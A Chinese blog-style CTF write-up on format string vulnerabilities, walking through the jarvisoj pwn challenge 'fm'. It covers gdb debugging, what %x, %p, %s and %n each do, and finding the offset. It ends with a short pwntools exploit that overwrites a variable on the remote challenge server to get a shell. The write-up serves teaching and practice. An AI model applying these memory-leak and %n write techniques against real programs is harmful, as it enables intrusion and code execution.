PWN学习之fmtstr

格式化字符串漏洞的原理就不赘述了,直接以jarvisoj上的一道pwn题fm来探寻一下这个漏洞!

checksec,canary,NX 开启,partial RELRO表示got表可读可写

IDA查看程序

存在格式化字符串,gdb调试一下,首先在printf处下一断点

1
%d:输出十进制整数,可配上%n向指定地址写数据

c继续运行

-11540是0xffffd2ec作为有符号补码对应的值,说明0xffffd2c0是printf的第一个参数。下面我们来输出一下第三个参数0x50对应的十进制数80。

1
%2$d:输入第3个参数的十进制整数。

1
2
%c:输出字符,可配上%n向指定地址写数据
%2$c:输出第三个参数的字符,即'P'

1
2
%x:输出16进制数据,可以用来泄露内存数据
%3$x:输出第四个参数的内存数据,即f7ffde24

1
2
%p:输出附加0x前缀的十六进制数据,可用来泄露内存数据
%3$p:输出第四个参数的内存数据,即0xf7ffde24

1
2
%s:输出参数地址所指向的字符串,可用于读取got表、canary等信息
%6$s:输出第六个参数作为地址所指向的内容,即0x28fc表示的字符串

1
2
%n:将输出的字符个数写到参数所指向的地址中,可用来修改内存中变量的值
%4c%6$n:将第六个参数指向的地址空间的值修改为4,即0xf7ffd000 --> 0x4

再来回顾一下这道题,x原来的值为3,需要修改为4才能拿到shell。

即将0x0804a02c的值修改为4。所以需要将0x0804a02c写入内存并确定它的偏移。首先确定偏移

‘aaaa’是我输入的内容,偏移为11,32位地址刚好四个字节,exp如下:

1
2
3
4
5
6
7
from pwn import *
p = remote("pwn2.jarvisoj.com","9895")

x_addr = 0x0804a02c
payload = p32(x_addr) + "%11$n"
p.sendline(payload)
p.interactive()
-------------本文结束感谢您的阅读-------------